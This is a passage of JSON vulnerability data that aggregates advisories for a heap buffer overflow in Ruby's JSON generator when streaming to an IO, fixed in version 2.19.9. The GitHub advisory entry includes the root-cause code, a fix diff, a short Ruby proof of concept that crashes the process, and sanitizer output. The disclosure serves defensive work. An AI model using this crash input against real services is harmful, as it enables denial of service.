2.19.9.","status":"published","published":"2026-06-30T23:17:28.123Z","modified":"2026-10-25T17:10:00.197Z","cvss":[{"version":"3.1","score":3.7,"vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:L","level":"low","assessor":"secondary"}],"cwes":["CWE-122","CWE-131","CWE-787"],"updated_at":"2026-11-02T14:12:26.866638Z"}],"osv":[{"id":"CVE-2026-54696","title":"Ruby JSON: JSON generator heap buffer overflow when streaming to an IO","description":"Ruby JSON is a JSON implementation for Ruby. Versions 2.9.0 through 2.19.8 are vulnerable to heap buffer overflow when the JSON generator is provided with an oversized streamed object. When streaming to an IO JSON.dump(obj, io) and JSON::State#generate(obj, io) can write past the internal JSON generator buffer when a streamed object contains an\nattacker-controlled string near 16 KB. Exploitation would result in a reliable process crash/denial of service. This issue has been fixed in version 2.19.9.","status":"published","published":"2026-06-30T22:05:48.347Z","modified":"2026-11-05T03:29:50.571905181Z","cvss":[{"version":"3.1","score":3.7,"vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:L","level":"low"}],"cwes":["CWE-122","CWE-131","CWE-787"],"updated_at":"2026-11-05T07:12:46.161235Z"},{"id":"DEBIAN-CVE-2026-54696","description":"Ruby JSON is a JSON implementation for Ruby. Versions 2.9.0 through 2.19.8 are vulnerable to heap buffer overflow when the JSON generator is provided with an oversized streamed object. When streaming to an IO JSON.dump(obj, io) and JSON::State#generate(obj, io) can write past the internal JSON generator buffer when a streamed object contains an attacker-controlled string near 16 KB. Exploitation would result in a reliable process crash/denial of service. This issue has been fixed in version 2.19.9.","status":"published","published":"2026-06-30T23:17:28.123Z","modified":"2026-10-26T12:02:58.256919007Z","cvss":[{"version":"3.1","score":3.7,"vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:L","level":"low"}],"updated_at":"2026-11-02T15:45:57.236551Z"},{"id":"GHSA-x2f5-4prf-w687","title":"Ruby json: JSON generator heap buffer overflow when streaming to an IO","description":"### Summary\n\n`JSON.dump(obj, io)` and `JSON::State#generate(obj, io)` can write past the\ninternal JSON generator buffer when a streamed object contains an\nattacker-controlled string near 16 KB. The issue is a heap out-of-bounds write\nin the IO-streaming path and is demonstrated as a reliable process crash /\ndenial of service.\n\nThis was triaged on HackerOne as report #3785370. The issue was confirmed there\nand I was asked to open it here.\n\n### Details\n\nRoot cause is in `ext/json/fbuffer/fbuffer.h`, `fbuffer_do_inc_capa()`.\n\nOn the IO path, the buffer is grown to `FBUFFER_IO_BUFFER_SIZE` (16383), but the\nearly return checks total capacity instead of remaining capacity:\n\n```c\nif (RB_UNLIKELY(fb-\u003eio)) {\n    if (fb-\u003ecapa \u003c FBUFFER_IO_BUFFER_SIZE) {\n        fbuffer_realloc(fb, FBUFFER_IO_BUFFER_SIZE);\n    } else {\n        fbuffer_flush(fb);\n    }\n\n    if (RB_LIKELY(requested \u003c fb-\u003ecapa)) {\n        return;\n    }\n}\n```\n\nIf `fb-\u003elen` already contains JSON syntax bytes, and a string flush has\n`16383 - fb-\u003elen \u003c= requested \u003c 16383`, this check returns even though there is\nnot enough space left. `fbuffer_append_reserved()` then writes past the buffer:\n\n```c\nMEMCPY(fb-\u003eptr + fb-\u003elen, newstr, char, len);\n```\n\nThe minimal fix is to compare against the remaining capacity:\n\n```diff\n-        if (RB_LIKELY(requested \u003c fb-\u003ecapa)) {\n+        if (RB_LIKELY(requested \u003c= fb-\u003ecapa - fb-\u003elen)) {\n             return;\n         }\n```\n\n### PoC\n\n```ruby\nrequire \"json\"\nrequire \"stringio\"\n\nio = StringIO.new\nbig = \"a\" * 16385\nbig[16382] = '\"'          # escapable byte near the buffer boundary\n\nJSON.dump([big], io)\n```\n\nVerified results:\n\n```text\nRuby 4.0.5 / bundled json 2.18.0:\nmalloc(): invalid size (unsorted)\n.../json/common.rb:956: [BUG] Aborted\n\nruby/ruby master c78418b7a0 / json 2.19.8 / ASan:\nheap-buffer-overflow WRITE of size 16382\n  fbuffer_append_reserved  ext/json/fbuffer/fbuffer.h:145\n  search_flush             ext/json/generator/generator.c:139\n  convert_UTF8_to_JSON     ext/json/generator/generator.c:231\n  raw_generate_json_string ext/json/generator/generator.c:922\n  cState_m_generate        ext/json/generator/generator.c:1891\n```\n\nControl: the same data through `JSON.dump([big])` without an IO argument returns\nnormally. The bug is specific to the IO-streaming path.\n\n### Impact\n\nA remote attacker can trigger a heap out-of-bounds write if they control a\nstring field that an application serializes through `JSON.dump(obj, io)` or\n`JSON::State#generate(obj, io)`. The demonstrated impact is reliable denial of\nservice. I am not claiming code execution or information disclosure.","status":"published","published":"2026-07-23T19:48:08Z","modified":"2026-09-10T03:51:12.575360401Z","cvss":[{"version":"3.1","score":3.7,"vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:L","level":"low"}],"cwes":["CWE-122","CWE-131","CWE-787"],"updated_at":"2026-11-02T15:46:59.131095Z"},{"id":"RHSA-2026:47932","title":"Red Hat Security Advisory: Red Hat Hardened Images RPMs Security Update","status":"published","published":"2026-07-30T10:17:54Z","modified":"2026-10-06T10:31:26.828868287Z","cvss":[{"version":"3.1","score":3.7,"vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:L","level":"low"}],"updated_at":"2026-11-02T15:53:20.984762Z"},{"id":"RHSA-2026:48482","title":"Red Hat Security Advisory: Red Hat Hardened Images RPMs bug fix and enhancement update","status":"published","published":"2026-07-31T10:15:12Z","modified":"2026-10-06T10:31:27.237279809Z","cvss":[{"version":"3.1","score":3.7,"vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:L","level":"low"}],"updated_at":"2026-11-02T15:53:20.984762Z"},{"id":"UBUNTU-CVE-2026-54696","description":"Ruby JSON is a JSON implementation for Ruby. Versions 2.9.0 through 2.19.8 are vulnerable to heap buffer overflow when the JSON generator is provided with an oversized streamed object. When streaming to an IO JSON.dump(obj, io) and JSON::State#generate(obj, io) can write past the internal JSON generator buffer when a streamed object contains an attacker-controlled string near 16 KB. Exploitation would result in a reliable process crash/denial of service. This issue has been fixed in version 2.19.9.","status":"published","published":"2026-06-30T23:17:00Z","modified":"2026-10-17T13:00:26.618424108Z","cvss":[{"version":"3.1","score":3.7,"vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:L","level":"low"}],"updated_at":"2026-11-02T16:56:41.382716Z"}]}}